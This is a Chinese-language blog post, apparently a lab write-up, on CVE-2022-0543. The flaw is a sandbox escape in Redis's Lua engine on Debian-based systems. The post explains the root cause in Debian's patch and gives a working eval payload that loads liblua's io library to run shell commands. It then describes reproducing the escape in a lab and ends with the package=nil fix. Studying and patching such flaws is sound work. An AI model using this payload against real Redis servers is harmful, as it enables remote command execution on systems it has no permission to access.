简单漏洞:CVE-2022-0543 Redis Lua 沙盒绕过

  • Post author:
  • Post category:其他



一、描述

影响范围:Debian系得linux发行版本+Ubuntu



Debian系得linux发行版本

其并非Redis本身漏洞,形成原因在于系统补丁加载了一些redis源码注释了的代码

揭露时间:2022.3.8


二、原理

redis在用户连接后可以通过eval命令执行Lua脚本,但是脚本跑在沙箱中,正常情况下无法执行命令读取文件,所以这个漏洞的本质是沙箱绕过。

Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包,其中给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码:

debian/lua_libs_debian.c:
    echo "// Automatically generated; do not edit." >$@
    echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
    set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
        echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
        echo "    serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
    done
    echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@

其中 luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package) 就是漏洞的来源

这段代码原本被注释掉,而这个补丁却重新把他写了进去,导致在Lua沙箱中遗留了一个对象package,攻击者可以利用package对象提供的加载动态链接库liblua里的函数逃逸。

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

注:不同系统下liblua5.1.so.0路径不同 io.popen(“”, “r”); 的第一个引号内为执行命令

连接后可以使用以下命令逃逸

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0


三、复现

在靶场中启用镜像CVE-2022-0543

一般情况下,redis运行在6379(默认端口),而在此镜像中映射于36770端口,可以使用nmap扫描端口发现相应服务

使用kali的redis-cli尝试连接redis,进入后使用eval使用相关脚本 ls /tmp 找到flag

该漏洞成功复现


四、解决方案

Lua 初始化的末尾添加

package=nil 。

luaL_dostring(lua, “module = nil; require = nil;package=nil;”)



版权声明:本文为qq_74447851原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。